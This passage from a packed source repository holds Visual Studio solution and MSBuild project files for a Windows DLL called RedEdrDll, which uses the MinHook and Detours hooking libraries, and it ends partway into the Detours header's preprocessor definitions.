Release|x64\n\t\t{F9D83EE0-D3EB-4C01-8F3C-BB8167D3C752}.Release|ARM64.Build.0 = Release|x64\n\t\t{F9D83EE0-D3EB-4C01-8F3C-BB8167D3C752}.Release|x64.ActiveCfg = Release|x64\n\t\t{F9D83EE0-D3EB-4C01-8F3C-BB8167D3C752}.Release|x64.Build.0 = Release|x64\n\t\t{F9D83EE0-D3EB-4C01-8F3C-BB8167D3C752}.Release|x86.ActiveCfg = Release|Win32\n\t\t{F9D83EE0-D3EB-4C01-8F3C-BB8167D3C752}.Release|x86.Build.0 = Release|Win32\n\t\t{D246CB84-E7A9-4CCF-A32C-EEB23910D7BD}.Debug|Any CPU.ActiveCfg = Debug|x64\n\t\t{D246CB84-E7A9-4CCF-A32C-EEB23910D7BD}.Debug|Any CPU.Build.0 = Debug|x64\n\t\t{D246CB84-E7A9-4CCF-A32C-EEB23910D7BD}.Debug|Any CPU.Deploy.0 = Debug|x64\n\t\t{D246CB84-E7A9-4CCF-A32C-EEB23910D7BD}.Debug|ARM64.ActiveCfg = Debug|x64\n\t\t{D246CB84-E7A9-4CCF-A32C-EEB23910D7BD}.Debug|ARM64.Build.0 = Debug|x64\n\t\t{D246CB84-E7A9-4CCF-A32C-EEB23910D7BD}.Debug|ARM64.Deploy.0 = Debug|x64\n\t\t{D246CB84-E7A9-4CCF-A32C-EEB23910D7BD}.Debug|x64.ActiveCfg = Debug|x64\n\t\t{D246CB84-E7A9-4CCF-A32C-EEB23910D7BD}.Debug|x64.Build.0 = Debug|x64\n\t\t{D246CB84-E7A9-4CCF-A32C-EEB23910D7BD}.Debug|x64.Deploy.0 = Debug|x64\n\t\t{D246CB84-E7A9-4CCF-A32C-EEB23910D7BD}.Debug|x86.ActiveCfg = Debug|x64\n\t\t{D246CB84-E7A9-4CCF-A32C-EEB23910D7BD}.Debug|x86.Build.0 = Debug|x64\n\t\t{D246CB84-E7A9-4CCF-A32C-EEB23910D7BD}.Debug|x86.Deploy.0 = Debug|x64\n\t\t{D246CB84-E7A9-4CCF-A32C-EEB23910D7BD}.Release|Any CPU.ActiveCfg = Release|x64\n\t\t{D246CB84-E7A9-4CCF-A32C-EEB23910D7BD}.Release|Any CPU.Build.0 = Release|x64\n\t\t{D246CB84-E7A9-4CCF-A32C-EEB23910D7BD}.Release|Any CPU.Deploy.0 = Release|x64\n\t\t{D246CB84-E7A9-4CCF-A32C-EEB23910D7BD}.Release|ARM64.ActiveCfg = Release|x64\n\t\t{D246CB84-E7A9-4CCF-A32C-EEB23910D7BD}.Release|ARM64.Build.0 = Release|x64\n\t\t{D246CB84-E7A9-4CCF-A32C-EEB23910D7BD}.Release|ARM64.Deploy.0 = Release|x64\n\t\t{D246CB84-E7A9-4CCF-A32C-EEB23910D7BD}.Release|x64.ActiveCfg = Release|x64\n\t\t{D246CB84-E7A9-4CCF-A32C-EEB23910D7BD}.Release|x64.Build.0 = Release|x64\n\t\t{D246CB84-E7A9-4CCF-A32C-EEB23910D7BD}.Release|x64.Deploy.0 = Release|x64\n\t\t{D246CB84-E7A9-4CCF-A32C-EEB23910D7BD}.Release|x86.ActiveCfg = Release|x64\n\t\t{D246CB84-E7A9-4CCF-A32C-EEB23910D7BD}.Release|x86.Build.0 = Release|x64\n\t\t{D246CB84-E7A9-4CCF-A32C-EEB23910D7BD}.Release|x86.Deploy.0 = Release|x64\n\t\t{7F48FA73-B6A6-4725-BF99-835F2C0E2405}.Debug|Any CPU.ActiveCfg = Debug|x64\n\t\t{7F48FA73-B6A6-4725-BF99-835F2C0E2405}.Debug|Any CPU.Build.0 = Debug|x64\n\t\t{7F48FA73-B6A6-4725-BF99-835F2C0E2405}.Debug|ARM64.ActiveCfg = Debug|x64\n\t\t{7F48FA73-B6A6-4725-BF99-835F2C0E2405}.Debug|ARM64.Build.0 = Debug|x64\n\t\t{7F48FA73-B6A6-4725-BF99-835F2C0E2405}.Debug|x64.ActiveCfg = Debug|x64\n\t\t{7F48FA73-B6A6-4725-BF99-835F2C0E2405}.Debug|x64.Build.0 = Debug|x64\n\t\t{7F48FA73-B6A6-4725-BF99-835F2C0E2405}.Debug|x86.ActiveCfg = Debug|Win32\n\t\t{7F48FA73-B6A6-4725-BF99-835F2C0E2405}.Debug|x86.Build.0 = Debug|Win32\n\t\t{7F48FA73-B6A6-4725-BF99-835F2C0E2405}.Release|Any CPU.ActiveCfg = Release|x64\n\t\t{7F48FA73-B6A6-4725-BF99-835F2C0E2405}.Release|Any CPU.Build.0 = Release|x64\n\t\t{7F48FA73-B6A6-4725-BF99-835F2C0E2405}.Release|ARM64.ActiveCfg = Release|x64\n\t\t{7F48FA73-B6A6-4725-BF99-835F2C0E2405}.Release|ARM64.Build.0 = Release|x64\n\t\t{7F48FA73-B6A6-4725-BF99-835F2C0E2405}.Release|x64.ActiveCfg = Release|x64\n\t\t{7F48FA73-B6A6-4725-BF99-835F2C0E2405}.Release|x64.Build.0 = Release|x64\n\t\t{7F48FA73-B6A6-4725-BF99-835F2C0E2405}.Release|x86.ActiveCfg = Release|Win32\n\t\t{7F48FA73-B6A6-4725-BF99-835F2C0E2405}.Release|x86.Build.0 = Release|Win32\n\t\t{03C805F3-51C4-4EF4-BA8A-B7B339C11BA2}.Debug|Any CPU.ActiveCfg = Debug|x64\n\t\t{03C805F3-51C4-4EF4-BA8A-B7B339C11BA2}.Debug|Any CPU.Build.0 = Debug|x64\n\t\t{03C805F3-51C4-4EF4-BA8A-B7B339C11BA2}.Debug|ARM64.ActiveCfg = Debug|x64\n\t\t{03C805F3-51C4-4EF4-BA8A-B7B339C11BA2}.Debug|ARM64.Build.0 = Debug|x64\n\t\t{03C805F3-51C4-4EF4-BA8A-B7B339C11BA2}.Debug|x64.ActiveCfg = Debug|x64\n\t\t{03C805F3-51C4-4EF4-BA8A-B7B339C11BA2}.Debug|x64.Build.0 = Debug|x64\n\t\t{03C805F3-51C4-4EF4-BA8A-B7B339C11BA2}.Debug|x86.ActiveCfg = Debug|Win32\n\t\t{03C805F3-51C4-4EF4-BA8A-B7B339C11BA2}.Debug|x86.Build.0 = Debug|Win32\n\t\t{03C805F3-51C4-4EF4-BA8A-B7B339C11BA2}.Release|Any CPU.ActiveCfg = Release|x64\n\t\t{03C805F3-51C4-4EF4-BA8A-B7B339C11BA2}.Release|Any CPU.Build.0 = Release|x64\n\t\t{03C805F3-51C4-4EF4-BA8A-B7B339C11BA2}.Release|ARM64.ActiveCfg = Release|x64\n\t\t{03C805F3-51C4-4EF4-BA8A-B7B339C11BA2}.Release|ARM64.Build.0 = Release|x64\n\t\t{03C805F3-51C4-4EF4-BA8A-B7B339C11BA2}.Release|x64.ActiveCfg = Release|x64\n\t\t{03C805F3-51C4-4EF4-BA8A-B7B339C11BA2}.Release|x64.Build.0 = Release|x64\n\t\t{03C805F3-51C4-4EF4-BA8A-B7B339C11BA2}.Release|x86.ActiveCfg = Release|Win32\n\t\t{03C805F3-51C4-4EF4-BA8A-B7B339C11BA2}.Release|x86.Build.0 = Release|Win32\n\t\t{0E6DC31B-3262-49C0-92A2-43651FB44308}.Debug|Any CPU.ActiveCfg = Debug|x64\n\t\t{0E6DC31B-3262-49C0-92A2-43651FB44308}.Debug|Any CPU.Build.0 = Debug|x64\n\t\t{0E6DC31B-3262-49C0-92A2-43651FB44308}.Debug|ARM64.ActiveCfg = Debug|x64\n\t\t{0E6DC31B-3262-49C0-92A2-43651FB44308}.Debug|ARM64.Build.0 = Debug|x64\n\t\t{0E6DC31B-3262-49C0-92A2-43651FB44308}.Debug|x64.ActiveCfg = Debug|x64\n\t\t{0E6DC31B-3262-49C0-92A2-43651FB44308}.Debug|x64.Build.0 = Debug|x64\n\t\t{0E6DC31B-3262-49C0-92A2-43651FB44308}.Debug|x86.ActiveCfg = Debug|Win32\n\t\t{0E6DC31B-3262-49C0-92A2-43651FB44308}.Debug|x86.Build.0 = Debug|Win32\n\t\t{0E6DC31B-3262-49C0-92A2-43651FB44308}.Release|Any CPU.ActiveCfg = Release|x64\n\t\t{0E6DC31B-3262-49C0-92A2-43651FB44308}.Release|Any CPU.Build.0 = Release|x64\n\t\t{0E6DC31B-3262-49C0-92A2-43651FB44308}.Release|ARM64.ActiveCfg = Release|x64\n\t\t{0E6DC31B-3262-49C0-92A2-43651FB44308}.Release|ARM64.Build.0 = Release|x64\n\t\t{0E6DC31B-3262-49C0-92A2-43651FB44308}.Release|x64.ActiveCfg = Release|x64\n\t\t{0E6DC31B-3262-49C0-92A2-43651FB44308}.Release|x64.Build.0 = Release|x64\n\t\t{0E6DC31B-3262-49C0-92A2-43651FB44308}.Release|x86.ActiveCfg = Release|Win32\n\t\t{0E6DC31B-3262-49C0-92A2-43651FB44308}.Release|x86.Build.0 = Release|Win32\n\tEndGlobalSection\n\tGlobalSection(SolutionProperties) = preSolution\n\t\tHideSolutionNode = FALSE\n\tEndGlobalSection\n\tGlobalSection(ExtensibilityGlobals) = postSolution\n\t\tSolutionGuid = {8E0A9A9C-2039-4DBB-B5D0-6E75F199E63A}\n\tEndGlobalSection\nEndGlobal\n"
  },
  {
    "path": "RedEdrDll/RedEdrDll.filters",
    "content": "﻿<?xml version=\"1.0\" encoding=\"utf-8\"?>\n<Project ToolsVersion=\"4.0\" xmlns=\"http://schemas.microsoft.com/developer/msbuild/2003\">\n  <ItemGroup>\n    <Filter Include=\"Source Files\">\n      <UniqueIdentifier>{4FC737F1-C7A5-4376-A066-2A32D752A2FF}</UniqueIdentifier>\n      <Extensions>cpp;c;cc;cxx;c++;def;odl;idl;hpj;bat;asm;asmx</Extensions>\n    </Filter>\n    <Filter Include=\"Header Files\">\n      <UniqueIdentifier>{93995380-89BD-4b04-88EB-625FBE52EBFB}</UniqueIdentifier>\n      <Extensions>h;hh;hpp;hxx;h++;hm;inl;inc;ipp;xsd</Extensions>\n    </Filter>\n    <Filter Include=\"Resource Files\">\n      <UniqueIdentifier>{67DA6AB6-F800-4c08-8B7A-83BB121AAD01}</UniqueIdentifier>\n      <Extensions>rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms</Extensions>\n    </Filter>\n  </ItemGroup>\n  <ItemGroup>\n    <ClInclude Include=\"framework.h\">\n      <Filter>Header Files</Filter>\n    </ClInclude>\n    <ClInclude Include=\"pch.h\">\n      <Filter>Header Files</Filter>\n    </ClInclude>\n    <ClInclude Include=\"minhook\\src\\buffer.h\">\n      <Filter>Header Files</Filter>\n    </ClInclude>\n    <ClInclude Include=\"minhook\\src\\trampoline.h\">\n      <Filter>Header Files</Filter>\n    </ClInclude>\n    <ClInclude Include=\"minhook\\include\\MinHook.h\">\n      <Filter>Header Files</Filter>\n    </ClInclude>\n    <ClInclude Include=\"minhook\\src\\hde\\hde32.h\">\n      <Filter>Header Files</Filter>\n    </ClInclude>\n    <ClInclude Include=\"minhook\\src\\hde\\hde64.h\">\n      <Filter>Header Files</Filter>\n    </ClInclude>\n    <ClInclude Include=\"minhook\\src\\hde\\pstdint.h\">\n      <Filter>Header Files</Filter>\n    </ClInclude>\n    <ClInclude Include=\"minhook\\src\\hde\\table32.h\">\n      <Filter>Header Files</Filter>\n    </ClInclude>\n    <ClInclude Include=\"minhook\\src\\hde\\table64.h\">\n      <Filter>Header Files</Filter>\n    </ClInclude>\n    <ClInclude Include=\"rededrpipeclient.h\">\n      <Filter>Header Files</Filter>\n    </ClInclude>\n  </ItemGroup>\n  <ItemGroup>\n    <ClCompile Include=\"dllmain.cpp\">\n      <Filter>Source Files</Filter>\n    </ClCompile>\n    <ClCompile Include=\"pch.cpp\">\n      <Filter>Source Files</Filter>\n    </ClCompile>\n    <ClCompile Include=\"minhook\\src\\buffer.c\">\n      <Filter>Source Files</Filter>\n    </ClCompile>\n    <ClCompile Include=\"minhook\\src\\hook.c\">\n      <Filter>Source Files</Filter>\n    </ClCompile>\n    <ClCompile Include=\"minhook\\src\\trampoline.c\">\n      <Filter>Source Files</Filter>\n    </ClCompile>\n    <ClCompile Include=\"minhook\\src\\hde\\hde32.c\">\n      <Filter>Source Files</Filter>\n    </ClCompile>\n    <ClCompile Include=\"minhook\\src\\hde\\hde64.c\">\n      <Filter>Source Files</Filter>\n    </ClCompile>\n  </ItemGroup>\n</Project>"
  },
  {
    "path": "RedEdrDll/RedEdrDll.vcxproj",
    "content": "<?xml version=\"1.0\" encoding=\"utf-8\"?>\n<Project DefaultTargets=\"Build\" xmlns=\"http://schemas.microsoft.com/developer/msbuild/2003\">\n  <ItemGroup Label=\"ProjectConfigurations\">\n    <ProjectConfiguration Include=\"Debug|Win32\">\n      <Configuration>Debug</Configuration>\n      <Platform>Win32</Platform>\n    </ProjectConfiguration>\n    <ProjectConfiguration Include=\"Release|Win32\">\n      <Configuration>Release</Configuration>\n      <Platform>Win32</Platform>\n    </ProjectConfiguration>\n    <ProjectConfiguration Include=\"Debug|x64\">\n      <Configuration>Debug</Configuration>\n      <Platform>x64</Platform>\n    </ProjectConfiguration>\n    <ProjectConfiguration Include=\"Release|x64\">\n      <Configuration>Release</Configuration>\n      <Platform>x64</Platform>\n    </ProjectConfiguration>\n  </ItemGroup>\n  <PropertyGroup Label=\"Globals\">\n    <VCProjectVersion>16.0</VCProjectVersion>\n    <Keyword>Win32Proj</Keyword>\n    <ProjectGuid>{1ddd15aa-d837-4143-a272-0e08f9ed6c40}</ProjectGuid>\n    <RootNamespace>CylantStrike</RootNamespace>\n    <WindowsTargetPlatformVersion>10.0</WindowsTargetPlatformVersion>\n    <ProjectName>RedEdrDll</ProjectName>\n  </PropertyGroup>\n  <Import Project=\"$(VCTargetsPath)\\Microsoft.Cpp.Default.props\" />\n  <PropertyGroup Condition=\"'$(Configuration)|$(Platform)'=='Debug|Win32'\" Label=\"Configuration\">\n    <ConfigurationType>DynamicLibrary</ConfigurationType>\n    <UseDebugLibraries>true</UseDebugLibraries>\n    <PlatformToolset>v143</PlatformToolset>\n    <CharacterSet>Unicode</CharacterSet>\n    <SpectreMitigation>false</SpectreMitigation>\n  </PropertyGroup>\n  <PropertyGroup Condition=\"'$(Configuration)|$(Platform)'=='Release|Win32'\" Label=\"Configuration\">\n    <ConfigurationType>DynamicLibrary</ConfigurationType>\n    <UseDebugLibraries>false</UseDebugLibraries>\n    <PlatformToolset>v143</PlatformToolset>\n    <WholeProgramOptimization>true</WholeProgramOptimization>\n    <CharacterSet>Unicode</CharacterSet>\n    <SpectreMitigation>false</SpectreMitigation>\n  </PropertyGroup>\n  <PropertyGroup Condition=\"'$(Configuration)|$(Platform)'=='Debug|x64'\" Label=\"Configuration\">\n    <ConfigurationType>DynamicLibrary</ConfigurationType>\n    <UseDebugLibraries>true</UseDebugLibraries>\n    <PlatformToolset>v143</PlatformToolset>\n    <CharacterSet>Unicode</CharacterSet>\n    <SpectreMitigation>false</SpectreMitigation>\n  </PropertyGroup>\n  <PropertyGroup Condition=\"'$(Configuration)|$(Platform)'=='Release|x64'\" Label=\"Configuration\">\n    <ConfigurationType>DynamicLibrary</ConfigurationType>\n    <UseDebugLibraries>false</UseDebugLibraries>\n    <PlatformToolset>v143</PlatformToolset>\n    <WholeProgramOptimization>true</WholeProgramOptimization>\n    <CharacterSet>Unicode</CharacterSet>\n    <SpectreMitigation>false</SpectreMitigation>\n  </PropertyGroup>\n  <Import Project=\"$(VCTargetsPath)\\Microsoft.Cpp.props\" />\n  <ImportGroup Label=\"ExtensionSettings\">\n  </ImportGroup>\n  <ImportGroup Label=\"Shared\">\n  </ImportGroup>\n  <ImportGroup Label=\"PropertySheets\" Condition=\"'$(Configuration)|$(Platform)'=='Debug|Win32'\">\n    <Import Project=\"$(UserRootDir)\\Microsoft.Cpp.$(Platform).user.props\" Condition=\"exists('$(UserRootDir)\\Microsoft.Cpp.$(Platform).user.props')\" Label=\"LocalAppDataPlatform\" />\n  </ImportGroup>\n  <ImportGroup Label=\"PropertySheets\" Condition=\"'$(Configuration)|$(Platform)'=='Release|Win32'\">\n    <Import Project=\"$(UserRootDir)\\Microsoft.Cpp.$(Platform).user.props\" Condition=\"exists('$(UserRootDir)\\Microsoft.Cpp.$(Platform).user.props')\" Label=\"LocalAppDataPlatform\" />\n  </ImportGroup>\n  <ImportGroup Label=\"PropertySheets\" Condition=\"'$(Configuration)|$(Platform)'=='Debug|x64'\">\n    <Import Project=\"$(UserRootDir)\\Microsoft.Cpp.$(Platform).user.props\" Condition=\"exists('$(UserRootDir)\\Microsoft.Cpp.$(Platform).user.props')\" Label=\"LocalAppDataPlatform\" />\n  </ImportGroup>\n  <ImportGroup Label=\"PropertySheets\" Condition=\"'$(Configuration)|$(Platform)'=='Release|x64'\">\n    <Import Project=\"$(UserRootDir)\\Microsoft.Cpp.$(Platform).user.props\" Condition=\"exists('$(UserRootDir)\\Microsoft.Cpp.$(Platform).user.props')\" Label=\"LocalAppDataPlatform\" />\n  </ImportGroup>\n  <PropertyGroup Label=\"UserMacros\" />\n  <PropertyGroup Condition=\"'$(Configuration)|$(Platform)'=='Debug|Win32'\">\n    <LinkIncremental>true</LinkIncremental>\n    <TargetName>SylantStrike</TargetName>\n  </PropertyGroup>\n  <PropertyGroup Condition=\"'$(Configuration)|$(Platform)'=='Release|Win32'\">\n    <LinkIncremental>false</LinkIncremental>\n    <TargetName>SylantStrike</TargetName>\n  </PropertyGroup>\n  <PropertyGroup Condition=\"'$(Configuration)|$(Platform)'=='Debug|x64'\">\n    <LinkIncremental>true</LinkIncremental>\n    <TargetName>RedEdrDll</TargetName>\n    <IgnoreImportLibrary>true</IgnoreImportLibrary>\n    <OutDir>C:\\RedEdr\\</OutDir>\n  </PropertyGroup>\n  <PropertyGroup Condition=\"'$(Configuration)|$(Platform)'=='Release|x64'\">\n    <LinkIncremental>false</LinkIncremental>\n    <TargetName>RedEdrDll</TargetName>\n    <OutDir>C:\\RedEdr</OutDir>\n  </PropertyGroup>\n  <ItemDefinitionGroup Condition=\"'$(Configuration)|$(Platform)'=='Debug|Win32'\">\n    <ClCompile>\n      <WarningLevel>Level3</WarningLevel>\n      <SDLCheck>true</SDLCheck>\n      <PreprocessorDefinitions>WIN32;_DEBUG;CYLANTSTRIKE_EXPORTS;_WINDOWS;_USRDLL;%(PreprocessorDefinitions)</PreprocessorDefinitions>\n      <ConformanceMode>true</ConformanceMode>\n      <PrecompiledHeader>Use</PrecompiledHeader>\n      <PrecompiledHeaderFile>pch.h</PrecompiledHeaderFile>\n    </ClCompile>\n    <Link>\n      <SubSystem>Windows</SubSystem>\n      <GenerateDebugInformation>true</GenerateDebugInformation>\n      <EnableUAC>false</EnableUAC>\n    </Link>\n  </ItemDefinitionGroup>\n  <ItemDefinitionGroup Condition=\"'$(Configuration)|$(Platform)'=='Release|Win32'\">\n    <ClCompile>\n      <WarningLevel>Level3</WarningLevel>\n      <FunctionLevelLinking>true</FunctionLevelLinking>\n      <IntrinsicFunctions>true</IntrinsicFunctions>\n      <SDLCheck>true</SDLCheck>\n      <PreprocessorDefinitions>WIN32;NDEBUG;CYLANTSTRIKE_EXPORTS;_WINDOWS;_USRDLL;%(PreprocessorDefinitions)</PreprocessorDefinitions>\n      <ConformanceMode>true</ConformanceMode>\n      <PrecompiledHeader>Use</PrecompiledHeader>\n      <PrecompiledHeaderFile>pch.h</PrecompiledHeaderFile>\n    </ClCompile>\n    <Link>\n      <SubSystem>Windows</SubSystem>\n      <EnableCOMDATFolding>true</EnableCOMDATFolding>\n      <OptimizeReferences>true</OptimizeReferences>\n      <GenerateDebugInformation>true</GenerateDebugInformation>\n      <EnableUAC>false</EnableUAC>\n    </Link>\n  </ItemDefinitionGroup>\n  <ItemDefinitionGroup Condition=\"'$(Configuration)|$(Platform)'=='Debug|x64'\">\n    <ClCompile>\n      <WarningLevel>Level3</WarningLevel>\n      <SDLCheck>true</SDLCheck>\n      <PreprocessorDefinitions>_DEBUG;CYLANTSTRIKE_EXPORTS;_WINDOWS;_USRDLL;OUTPUT_DLL;%(PreprocessorDefinitions)</PreprocessorDefinitions>\n      <ConformanceMode>true</ConformanceMode>\n      <PrecompiledHeader>NotUsing</PrecompiledHeader>\n      <PrecompiledHeaderFile>\n      </PrecompiledHeaderFile>\n      <AdditionalIncludeDirectories>$(SolutionDir)RedEdrShared/;%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>\n    </ClCompile>\n    <Link>\n      <SubSystem>Windows</SubSystem>\n      <GenerateDebugInformation>true</GenerateDebugInformation>\n      <EnableUAC>false</EnableUAC>\n      <AdditionalDependencies>detours.lib;%(AdditionalDependencies)</AdditionalDependencies>\n    </Link>\n  </ItemDefinitionGroup>\n  <ItemDefinitionGroup Condition=\"'$(Configuration)|$(Platform)'=='Release|x64'\">\n    <ClCompile>\n      <WarningLevel>Level3</WarningLevel>\n      <FunctionLevelLinking>true</FunctionLevelLinking>\n      <IntrinsicFunctions>true</IntrinsicFunctions>\n      <SDLCheck>true</SDLCheck>\n      <PreprocessorDefinitions>NDEBUG;CYLANTSTRIKE_EXPORTS;_WINDOWS;_USRDLL;%(PreprocessorDefinitions)</PreprocessorDefinitions>\n      <ConformanceMode>true</ConformanceMode>\n      <PrecompiledHeader>NotUsing</PrecompiledHeader>\n      <PrecompiledHeaderFile>pch.h</PrecompiledHeaderFile>\n      <AdditionalIncludeDirectories>$(SolutionDir)RedEdrShared/;%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>\n    </ClCompile>\n    <Link>\n      <SubSystem>Windows</SubSystem>\n      <EnableCOMDATFolding>true</EnableCOMDATFolding>\n      <OptimizeReferences>true</OptimizeReferences>\n      <GenerateDebugInformation>true</GenerateDebugInformation>\n      <EnableUAC>false</EnableUAC>\n      <AdditionalDependencies>detours.lib;%(AdditionalDependencies)</AdditionalDependencies>\n    </Link>\n  </ItemDefinitionGroup>\n  <ItemGroup>\n    <ClInclude Include=\"detours.h\" />\n    <ClInclude Include=\"dllhelper.h\" />\n    <ClInclude Include=\"framework.h\" />\n    <ClInclude Include=\"logging.h\" />\n  </ItemGroup>\n  <ItemGroup>\n    <ClCompile Include=\"..\\RedEdrShared\\piping.cpp\" />\n    <ClCompile Include=\"..\\RedEdrShared\\process_query.cpp\" />\n    <ClCompile Include=\"..\\RedEdrShared\\utils.cpp\" />\n    <ClCompile Include=\"dllhelper.cpp\" />\n    <ClCompile Include=\"dllmain.cpp\">\n      <PrecompiledHeader Condition=\"'$(Configuration)|$(Platform)'=='Debug|Win32'\">NotUsing</PrecompiledHeader>\n      <PrecompiledHeader Condition=\"'$(Configuration)|$(Platform)'=='Release|Win32'\">NotUsing</PrecompiledHeader>\n      <PrecompiledHeader Condition=\"'$(Configuration)|$(Platform)'=='Debug|x64'\">NotUsing</PrecompiledHeader>\n      <PrecompiledHeader Condition=\"'$(Configuration)|$(Platform)'=='Release|x64'\">NotUsing</PrecompiledHeader>\n    </ClCompile>\n    <ClCompile Include=\"logging.cpp\" />\n  </ItemGroup>\n  <Import Project=\"$(VCTargetsPath)\\Microsoft.Cpp.targets\" />\n  <ImportGroup Label=\"ExtensionTargets\">\n  </ImportGroup>\n</Project>"
  },
  {
    "path": "RedEdrDll/RedEdrDll.vcxproj.filters",
    "content": "﻿<?xml version=\"1.0\" encoding=\"utf-8\"?>\n<Project ToolsVersion=\"4.0\" xmlns=\"http://schemas.microsoft.com/developer/msbuild/2003\">\n  <ItemGroup>\n    <ClCompile Include=\"dllhelper.cpp\" />\n    <ClCompile Include=\"dllmain.cpp\" />\n    <ClCompile Include=\"..\\RedEdrShared\\piping.cpp\">\n      <Filter>existing</Filter>\n    </ClCompile>\n    <ClCompile Include=\"..\\RedEdrShared\\utils.cpp\">\n      <Filter>existing</Filter>\n    </ClCompile>\n    <ClCompile Include=\"..\\RedEdrShared\\process_query.cpp\">\n      <Filter>existing</Filter>\n    </ClCompile>\n    <ClCompile Include=\"logging.cpp\" />\n  </ItemGroup>\n  <ItemGroup>\n    <ClInclude Include=\"detours.h\" />\n    <ClInclude Include=\"dllhelper.h\" />\n    <ClInclude Include=\"framework.h\" />\n    <ClInclude Include=\"logging.h\" />\n  </ItemGroup>\n  <ItemGroup>\n    <Filter Include=\"existing\">\n      <UniqueIdentifier>{5f77433c-213e-4ddc-8ee7-930eaa6a3e28}</UniqueIdentifier>\n    </Filter>\n  </ItemGroup>\n</Project>"
  },
  {
    "path": "RedEdrDll/detours.h",
    "content": "/////////////////////////////////////////////////////////////////////////////\n//\n//  Core Detours Functionality (detours.h of detours.lib)\n//\n//  Microsoft Research Detours Package, Version 4.0.1\n//\n//  Copyright (c) Microsoft Corporation.  All rights reserved.\n//\n\n#pragma once\n#ifndef _DETOURS_H_\n#define _DETOURS_H_\n\n#define DETOURS_VERSION     0x4c0c1   // 0xMAJORcMINORcPATCH\n\n//////////////////////////////////////////////////////////////////////////////\n//\n\n#ifdef DETOURS_INTERNAL\n\n#define _CRT_STDIO_ARBITRARY_WIDE_SPECIFIERS 1\n#define _ARM_WINAPI_PARTITION_DESKTOP_SDK_AVAILABLE 1\n\n#pragma warning(disable:4068) // unknown pragma (suppress)\n\n#if _MSC_VER >= 1900\n#pragma warning(push)\n#pragma warning(disable:4091) // empty typedef\n#endif\n\n// Suppress declspec(dllimport) for the sake of Detours\n// users that provide kernel32 functionality themselves.\n// This is ok in the mainstream case, it will just cost\n// an extra instruction calling some functions, which\n// LTCG optimizes away.\n//\n#define _KERNEL32_ 1\n#define _USER32_ 1\n\n#include <windows.h>\n#if (_MSC_VER < 1310)\n#else\n#pragma warning(push)\n#if _MSC_VER > 1400\n#pragma warning(disable:6102 6103) // /analyze warnings\n#endif\n#include <strsafe.h>\n#include <intsafe.h>\n#pragma warning(pop)\n#endif\n#include <crtdbg.h>\n\n// Allow Detours to cleanly compile with the MingW toolchain.\n//\n#ifdef __GNUC__\n#define __try\n#define __except(x) if (0)\n#include <strsafe.h>\n#include <intsafe.h>\n#endif\n\n// From winerror.h, as this error isn't found in some SDKs:\n//\n// MessageId: ERROR_DYNAMIC_CODE_BLOCKED\n//\n// MessageText:\n//\n// The operation was blocked as the process prohibits dynamic code generation.\n//\n#define ERROR_DYNAMIC_CODE_BLOCKED       1655L\n\n#endif // DETOURS_INTERNAL\n\n//////////////////////////////////////////////////////////////////////////////\n//\n\n#undef DETOURS_X64\n#undef DETOURS_X86\n#undef DETOURS_IA64\n#undef DETOURS_ARM\n#undef DETOURS_ARM64\n#undef DETOURS_BITS\n#undef DETOURS_32BIT\n#undef DETOURS_64BIT\n\n#if defined(_X86_)\n#define DETOURS_X86\n#define DETOURS_OPTION_BITS 64\n\n#elif defined(_AMD64_)\n#define DETOURS_X64\n#define DETOURS_OPTION_BITS 32\n\n#elif defined(_IA64_)\n#define DETOURS_IA64\n#define DETOURS_OPTION_BITS 32\n\n#elif defined(_ARM_)\n#define DETOURS_ARM\n\n#elif defined(_ARM64_)\n#define DETOURS_ARM64\n\n#else\n#error Unknown architecture (x86, amd64, ia64, arm, arm64)\n#endif\n\n#ifdef _WIN64\n#undef DETOURS_32BIT\n#define DETOURS_64BIT 1\n#define DETOURS_BITS 64\n// If all 64bit kernels can run one and only one 32bit architecture.\n//#define DETOURS_OPTION_BITS 32\n#else\n#define DETOURS_32BIT 1\n#undef DETOURS_64BIT\n#define DETOURS_BITS 32\n// If all 64bit kernels can run one and only one 32bit architecture.\n//#define DETOURS_OPTION_BITS 32\n#endif\n\n/////////////////////////////////////////////////////////////// Helper Macros.\n//\n#define DETOURS_STRINGIFY_(x)    #x\n#define DETOURS_STRINGIFY(x)    DETOURS_STRINGIFY_(x)\n\n#define VER_DETOURS_BITS    DETOURS_STRINGIFY(DETOURS_BITS)\n\n//////////////////////////////////////////////////////////////////////////////\n//\n\n#if (_MSC_VER < 1299) && !defined(__MINGW32__)\ntypedef LONG LONG_PTR;\ntypedef ULONG ULONG_PTR;\n#endif\n\n///////////////////////////////////////////////// SAL 2.0 Annotations w/o SAL.\n//\n//  These definitions are include so that Detours will build even if the\n//  compiler doesn't have full SAL 2.0 support.\n//\n#ifndef DETOURS_DONT_REMOVE_SAL_20\n\n#ifdef DETOURS_TEST_REMOVE_SAL_20\n#undef _Analysis_assume_\n#undef _Benign_race_begin_\n#undef _Benign_race_end_\n#undef _Field_range_\n#undef _Field_size_\n#undef _In_\n#undef _In_bytecount_\n#undef _In_count_\n#undef __in_ecount\n#undef _In_opt_\n#undef _In_opt_bytecount_\n#undef _In_opt_count_\n#undef _In_opt_z_\n#undef _In_range_\n#undef _In_reads_\n#undef _In_reads_bytes_\n#undef _In_reads_opt_\n#undef _In_reads_opt_bytes_\n#undef _In_reads_or_z_\n#undef _In_z_\n#undef _Inout_\n#undef _Inout_opt_\n#undef _Inout_z_count_\n#undef _Out_\n#undef _Out_opt_\n#undef _Out_writes_\n#undef _Outptr_result_maybenull_\n#undef _Readable_bytes_\n#undef _Success_\n#undef _Writable_bytes_\n#undef _Pre_notnull_\n#endif\n\n#if defined(_Deref_out_opt_z_) && !defined(_Outptr_result_maybenull_)\n#define _Outptr_result_maybenull_ _Deref_out_opt_z_\n#endif\n\n#if defined(_In_count_) && !defined(_In_reads_)\n#define _In_reads_(x) _In_count_(x)\n#endif\n\n#if defined(_In_opt_count_) && !defined(_In_reads_opt_)\n#define _In_reads_opt_(x) _In_opt_count_(x)\n#endif\n\n#if defined(_In_opt_bytecount_) && !defined(_In_reads_opt_bytes_)\n#define _In_reads_opt_bytes_(x) _In_opt_bytecount_(x)\n#endif\n\n#if defined(_In_bytecount_) && !defined(_In_reads_bytes_)\n#define _In_reads_bytes_(x) _In_bytecount_(x)\n#endif\n\n#ifndef _In_\n#define _In_\n#endif\n\n#ifndef _In_bytecount_\n#define _In_bytecount_(x)\n#endif\n\n#ifndef 